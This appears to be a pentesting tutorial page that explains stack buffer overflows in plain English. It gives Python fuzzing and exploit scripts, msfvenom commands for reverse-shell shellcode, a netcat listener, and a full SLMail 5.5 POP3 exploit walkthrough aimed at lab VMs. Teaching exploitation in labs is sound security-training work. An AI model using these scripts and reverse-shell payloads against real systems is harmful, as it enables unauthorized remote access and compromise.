Skip to content

Latest commit

 

History

History
727 lines (565 loc) · 24.3 KB

File metadata and controls

727 lines (565 loc) · 24.3 KB

Buffer Overflow — Why It Works and What You Are Actually Doing

Most explanations of buffer overflow start with assembly language, memory addresses, and register names. Eyes glaze over. Pages get closed. Here is a different approach — plain English first, until the concept is solid, then the technical layer on top of that foundation. By the end of this section you will understand not just how to run a buffer overflow exploit but why it works at all.

🔰 Beginners: Work through every section above before diving into this example. Everything referenced here has already been explained — this is where it all comes together.

Seasoned practitioners: Jump below or use the ToC if you know the fundamentals, want to jump to a specific topic or just want the workflow reference.


📋 Contents


🧠 What Is Memory — Plain English

Before buffer overflows make sense you need to understand what memory actually is — not at a computer science level, just enough to see what is happening.

Your computer's RAM (memory) is like a very long strip of numbered storage boxes. Each box holds one byte of data. Every program running on your computer gets a section of that strip assigned to it — its own region of boxes to store data while it runs.

Within that region, different types of data get stored in different areas. Code goes in one place. Variables go in another. Temporary data goes in another. These areas have names — stack, heap, code segment, data segment. For buffer overflows, the one that matters most is the stack.


📦 What Is a Buffer

A buffer is a fixed-size storage area in memory reserved for a specific piece of data. When a program says "I am going to accept a username up to 100 characters long," it allocates a buffer — 100 bytes of memory boxes — to hold that username.

Plain English analogy:

Think of a buffer like a parking lot with exactly 10 spaces. The parking lot was designed for 10 cars. That is all the space that exists. What happens if 15 cars try to park? The extra 5 go somewhere they are not supposed to — maybe blocking a fire lane, maybe blocking the entrance, maybe blocking something critical.

That is a buffer overflow.


💥 What Is a Buffer Overflow

A buffer overflow happens when a program accepts more data than its buffer was designed to hold — and instead of rejecting the extra data, it just keeps writing it into memory beyond the buffer's boundary.

The extra data does not disappear. It overwrites whatever was sitting in memory right after the buffer. Sometimes that is harmless data. Sometimes it is critical data that controls how the program runs.

Why do programs not check for this?

They are supposed to. The C programming language — which underlies enormous amounts of software — has functions like strcpy(), gets(), and sprintf() that copy data into buffers without checking whether the data fits. Developers who use these functions without adding their own length checks create buffer overflow vulnerabilities.

Modern languages like Python, Java, and Rust handle this automatically. Legacy C and C++ code — which runs in an enormous amount of network services, embedded devices, and operating system components — does not.


🎯 Why This Causes Code Execution

This is the part that makes buffer overflows more than just a crash.

When a program calls a function, it needs to remember where to return to when that function finishes. It stores this return address on the stack — right near the buffer that might overflow.

If an attacker overflows the buffer with enough data to reach that return address, they can overwrite it with an address of their choosing. When the function finishes and tries to return — it does not go back to where it came from. It goes to wherever the attacker pointed it.

If the attacker points it at code they control — their shellcode — that code executes with the permissions of the vulnerable program.

Here is the analogy:

Imagine a library book return system. When you borrow a book, a slip is placed in the slot next to it telling the librarian where to reshelve it when it comes back. A buffer overflow is like replacing that slip with a fake one — when the book comes back, the librarian follows your fake instructions instead of the real ones.


🏗️ The Stack — Where Buffer Overflows Live

The stack is a region of memory that works like a stack of plates — last in, first out. Every time a function is called, a new frame is added to the top of the stack containing:

┌─────────────────────────────┐  ← Top of stack (lower memory address)
│                             │
│    Local variables          │  ← The buffer lives here
│    (including our buffer)   │
│                             │
├─────────────────────────────┤
│    Saved EBP                │  ← Previous stack frame pointer
├─────────────────────────────┤
│    Return Address (EIP)     │  ← Where to go when function returns
├─────────────────────────────┤
│    Function arguments       │
│                             │
└─────────────────────────────┘  ← Bottom of frame (higher memory address)

The critical relationship:

The buffer sits above the return address in memory. When the buffer overflows downward (toward higher memory addresses), it eventually reaches and overwrites the return address. That is the moment the attacker gains control.


🔧 Key Registers You Need to Know

Registers are tiny, extremely fast storage locations inside the processor itself. A handful of them are critical for understanding buffer overflows.

Register Full Name Plain English
EIP Extended Instruction Pointer Points to the next instruction to execute — controlling this = controlling the program
ESP Extended Stack Pointer Points to the top of the stack — tells you where the stack currently is
EBP Extended Base Pointer Points to the base of the current stack frame
EAX Extended Accumulator General purpose — often holds return values

The one that matters most: EIP

EIP is the register that tells the processor what instruction to execute next. Controlling EIP means controlling what code runs. The entire goal of a buffer overflow exploit is to control EIP and point it at your shellcode — the malicious code you want to run on the target.


🗺️ The Buffer Overflow Exploitation Process

Buffer overflow exploitation follows a consistent sequence of steps. Each step builds on the previous one. Skipping steps or doing them out of order produces confusion rather than shells.

Step 1 → Fuzz the application
         Send increasingly large inputs until it crashes

Step 2 → Find the exact offset
         Determine exactly how many bytes it takes to reach EIP

Step 3 → Confirm EIP control
         Send exactly that many bytes plus 4 bytes of B's
         Verify those B's (0x42424242) appear in EIP

Step 4 → Find bad characters
         Determine which byte values corrupt the payload
         and must be avoided in shellcode

Step 5 → Find a return address
         Find a JMP ESP instruction in memory not affected
         by ASLR or DEP — this becomes your EIP overwrite value

Step 6 → Generate shellcode
         Create shellcode that avoids bad characters

Step 7 → Build and deliver the exploit
         padding + EIP overwrite + NOP sled + shellcode

📏 Finding the Offset — The Exact Breaking Point

Plain English: Before you can control EIP you need to know exactly how many bytes of padding to send before the 4 bytes that overwrite EIP. Too few and you do not reach EIP. Too many and you overwrite past it. The exact number is called the offset.

Step 1 — Fuzzing: Find the Approximate Crash Point

#!/usr/bin/env python3
import socket
import sys

ip = "TARGET-IP"
port = 9999

# Send increasingly large buffers until crash
for size in range(100, 10000, 100):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        buffer = "A" * size
        print(f"Sending {size} bytes...")
        s.send(buffer.encode())
        s.close()
    except Exception as e:
        print(f"Crashed at {size} bytes")
        sys.exit()

Run this and note approximately how many bytes caused the crash.

Step 2 — Generate a Cyclic Pattern

Instead of all A's, send a pattern where every 4-byte sequence is unique. When the program crashes, the value in EIP tells you exactly where in the pattern you are — which tells you the exact offset.

# Generate a pattern with Metasploit's tool
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# Or with pwntools
python3 -c "from pwn import *; print(cyclic(3000).decode())"

Send this pattern to the application instead of A's:

#!/usr/bin/env python3
import socket

ip = "TARGET-IP"
port = 9999

# Paste your cyclic pattern here
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2..."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(pattern.encode())
s.close()

Step 3 — Find the Offset From EIP Value

After the crash, note the value in EIP from your debugger:

# Find offset using Metasploit
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q EIP_VALUE

# Example output:
# [*] Exact match at offset 2606

# Or with pwntools
python3 -c "from pwn import *; print(cyclic_find(0xEIP_VALUE_IN_HEX))"

🎮 Controlling EIP

Now that you know the offset, confirm you can control EIP precisely:

#!/usr/bin/env python3
import socket
import struct

ip = "TARGET-IP"
port = 9999

offset = 2606                    # your exact offset
padding = b"A" * offset          # fill up to EIP
eip = b"B" * 4                   # 0x42424242 — should appear in EIP

payload = padding + eip

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()

After running this, EIP in your debugger should show 42424242. That is four B's in hex. You control EIP. ✅


🚫 Finding Bad Characters

Some byte values break shellcode — they get interpreted differently by the application or stripped entirely. You need to find and avoid these in your shellcode.

#!/usr/bin/env python3
import socket

ip = "TARGET-IP"
port = 9999
offset = 2606

# Generate all possible byte values except \x00 (null — always bad)
badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    # ... all bytes through \xff
)

padding = b"A" * offset
eip = b"B" * 4
payload = padding + eip + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()

In your debugger, follow ESP in the memory dump and look for where the sequence breaks — a missing byte or a corrupted value indicates a bad character. Remove it from the list and repeat until the full sequence appears clean.

Common bad characters:

\x00  → Null byte — terminates strings, almost always bad
\x0a  → Line feed (newline) — breaks many protocols
\x0d  → Carriage return — breaks many protocols
\xff  → Sometimes bad depending on the application

📍 Finding a Return Address

You need an address to put in EIP that will redirect execution to your shellcode. The classic technique is finding a JMP ESP instruction — which jumps to whatever is at the top of the stack, where your shellcode will be sitting.

# In Immunity Debugger with Mona plugin
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# -cpb specifies bad characters to exclude from the address

# In pwntools
from pwn import *
elf = ELF('./vulnerable_binary')
jmp_esp = next(elf.search(asm('jmp esp')))
print(hex(jmp_esp))

# In GDB with pwndbg
pwndbg> search -t bytes '\xff\xe4'

The address you find gets packed in little-endian format (reversed) because x86 architecture stores multi-byte values least-significant byte first:

# Address 0x625011af packed for x86
eip = struct.pack("<I", 0x625011af)
# Result: b'\xaf\x11\x50\x62'

💉 Shellcode — The Code That Runs

Plain English: Shellcode is the malicious code that executes once EIP points to it. The name comes from the fact that historically the goal was always to get a shell — a command prompt on the target machine. Today shellcode can do anything, but getting a shell remains the most common goal.

For most exploitation scenarios you want a reverse shell — code that connects back to your machine and gives you a command prompt.

# Generate shellcode with msfvenom
# IMPORTANT: exclude your bad characters with -b
msfvenom -p windows/shell_reverse_tcp \
  LHOST=YOUR-IP \
  LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python \
  -v shellcode

# For Linux targets
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=YOUR-IP \
  LPORT=4444 \
  -b "\x00" \
  -f python \
  -v shellcode

The -b flag excludes bad characters. The -f python flag outputs Python-compatible format. The -v shellcode names the variable.


🏗️ The Complete Exploit Structure

Now all the pieces come together:

#!/usr/bin/env python3
import socket
import struct

ip = "TARGET-IP"
port = 9999

# ── Variables ────────────────────────────────────────────
offset = 2606
padding = b"A" * offset

# Your JMP ESP address — packed little-endian
eip = struct.pack("<I", 0x625011af)

# NOP sled — harmless instructions that slide into shellcode
# Gives the shellcode some breathing room to land correctly
nop_sled = b"\x90" * 16

# Your msfvenom shellcode — paste here
shellcode = (
    b"\xdb\xc0\xd9\x74\x24\xf4\x58\x2b"
    b"\xc9\xb1\x52\x31\x58\x17\x83\xe8"
    # ... rest of shellcode
)

# ── Build payload ────────────────────────────────────────
payload = padding + eip + nop_sled + shellcode

# ── Deliver ──────────────────────────────────────────────
print(f"[*] Sending payload ({len(payload)} bytes)")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()
print("[*] Done — check your listener")

What each part does:

padding    → fills the buffer up to the exact point EIP starts
eip        → overwrites EIP with the address of JMP ESP
nop_sled   → harmless \x90 bytes that slide execution into shellcode
shellcode  → the actual code that creates your reverse shell

Before running — start your listener:

nc -lvnp 4444

🔬 Advanced Buffer Overflow Concepts

Once you are comfortable with basic stack buffer overflows these are the next layers of complexity:

ASLR — Address Space Layout Randomization

Plain English: Remember how we found a specific address in memory to point EIP at — that JMP ESP instruction that redirected execution to our shellcode? We found it, wrote it into our exploit, and it worked because that address was the same every time the program ran.

ASLR is the defense against exactly that. Every time the program starts, the operating system shuffles where everything gets loaded in memory — like a casino dealer reshuffling the deck between hands. The address you found and hardcoded into your exploit pointed to the right spot yesterday. Today that spot contains something completely different and your exploit crashes instead of giving you a shell.

To clarify the terms:

  • JMP is an instruction that means "jump to this location" — like a road sign that says "turn here"
  • ESP is a register that always points to the top of the stack — where your shellcode is sitting waiting to run
  • JMP ESP together means "jump to wherever the stack currently is" — which is exactly where we put our shellcode

ASLR breaks this by making the location of that JMP ESP instruction unpredictable on every run. You cannot hardcode an address that keeps moving.

Bypass techniques:

  • Find a module that does not use ASLR (check with !mona modules)
  • Return Oriented Programming (ROP)
  • Information disclosure vulnerability to leak addresses
  • Brute force (32-bit ASLR has limited randomness)

DEP/NX — Data Execution Prevention

Plain English: Remember the parking lot analogy — you overflowed the buffer, pointed EIP at your code sitting in the stack, and expected it to run. DEP is the security guard who shows up and says "nothing parked back here is allowed to move."

DEP marks the stack as a storage area only — data can sit there but cannot be executed as instructions. So even when your overflow works perfectly, even when EIP points exactly where you put it, the processor looks at your code sitting on the stack and refuses to run it. The car is there. The engine will not start.

Bypass techniques:

  • ROP (Return Oriented Programming) — instead of running your own code from the stack, you chain together small pieces of code that are already in executable memory and already trusted by the system. Covered in detail below.

  • ret2libc — instead of running your own shellcode, you return into a legitimate system function that already exists in memory — like the system() function that can run OS commands. You are not bringing anything new in, you are redirecting execution into something that was already there and already allowed to run.


Return Oriented Programming (ROP)

Plain English: DEP blocks you from running your own code from the stack. ROP is the workaround — instead of sneaking your own code in, you hijack pieces of code that are already there and already trusted.

Think of it like a heist where you cannot bring your own tools past security. So instead you use the building's own equipment — the maintenance closet, the loading dock, the service elevator — chaining them together in a sequence that was never intended but gets you exactly where you need to go.

In memory, programs are full of tiny existing code snippets that end with a return instruction. ROP strings these snippets together like a chain — each one does a small piece of work then hands control to the next. The end result is the same as running your own injected code would have been, but you never brought anything in yourself. You used what was already there.

This is advanced territory — covered in depth in the Writing Exploits section.


Heap Overflow

Plain English: Everything we covered with buffer overflows happens in the stack — the front parking lot. Fixed spaces, clear lines, predictable layout. You know exactly where every car is supposed to go.

The heap is the overflow lot around back — where people park when the front lot is full. No painted lines. No assigned spaces. Cars pull in wherever they fit and leave whenever they want. The layout changes constantly depending on who arrived, who left, and in what order.

A heap overflow works on the same principle as a stack overflow — you send more data than the allocated space can hold and spill into something critical nearby. But because the back lot has no fixed layout, what is sitting next to your overflow changes constantly as the program runs. Finding something exploitable to overwrite is far less predictable than the stack — less like knowing exactly which space to block and more like trying to block a specific car in a lot where nobody parks in the same place twice.

This is advanced territory — covered in depth in the Writing Exploits section.


💥 Real Worked Example — SLMail 5.5

SLMail 5.5 is a classic Windows buffer overflow target — the same one taught in OSCP preparation courses. Here is the complete workflow.

Setup needed:

  • Windows XP or Windows 7 VM with SLMail 5.5 installed
  • Immunity Debugger with Mona plugin installed on the Windows VM
  • Kali Linux as your attack machine
# Step 1 — Fuzzer
#!/usr/bin/env python3
import socket

ip = "WINDOWS-VM-IP"
port = 110     # POP3 port

for size in range(10, 3000, 10):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.send(b"USER test\r\n")
    s.recv(1024)
    buffer = b"A" * size
    s.send(b"PASS " + buffer + b"\r\n")
    print(f"Sending {size} bytes")
    s.close()

# Crashes around 2700 bytes
# Step 2 — Generate pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# Step 3 — Send pattern, note EIP value in Immunity Debugger
# EIP = 39694438

# Step 4 — Find offset
# pattern_offset.rb -l 3000 -q 39694438
# Exact match at offset 2606
# Step 5 — Find JMP ESP in Immunity Debugger
# !mona jmp -r esp -cpb "\x00\x0a\x0d"
# Found: 0x5f4a358f in essfunc.dll
# Step 6 — Generate shellcode
msfvenom -p windows/shell_reverse_tcp \
  LHOST=KALI-IP LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python -v shellcode
# Step 7 — Complete exploit
#!/usr/bin/env python3
import socket
import struct

ip = "WINDOWS-VM-IP"
port = 110

offset = 2606
padding = b"A" * offset
eip = struct.pack("<I", 0x5f4a358f)
nop_sled = b"\x90" * 16

shellcode = b""  # paste msfvenom output here

payload = padding + eip + nop_sled + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b"USER test\r\n")
s.recv(1024)
s.send(b"PASS " + payload + b"\r\n")
s.close()
# Start listener before running
nc -lvnp 4444

# Run the exploit
python3 exploit.py

# Shell received on listener

Practice targets:

  • SLMail 5.5 (Windows VM — classic OSCP prep)
  • HackTheBox — Brainpan
  • VulnHub — Brainpan 1
  • TryHackMe — Buffer Overflow Prep room

⚔️ CTF vs Real World

CTF Real Engagement
Protections Usually disabled (ASLR off, NX off) Usually enabled
Target OS Often older Windows or Linux Modern, patched systems
Debugger access Yes — you run the target No — remote only
Finding offset Cyclic pattern locally Remote fuzzing only
Shellcode Standard msfvenom May need custom to bypass AV
Reliability Not critical Must be reliable — crashing is loud
Documentation Notes for yourself Full technical documentation

🔗 Related References

Resource What It Covers
Manual Exploitation Running and modifying exploits
Modifying Exploits Adapting BoF exploits to new targets
Shells What to do after the overflow succeeds
Evasion Making shellcode bypass AV
Vuln Research Finding BoF vulnerabilities

by SudoChef · Part of the SudoCode Pentesting Methodology Guide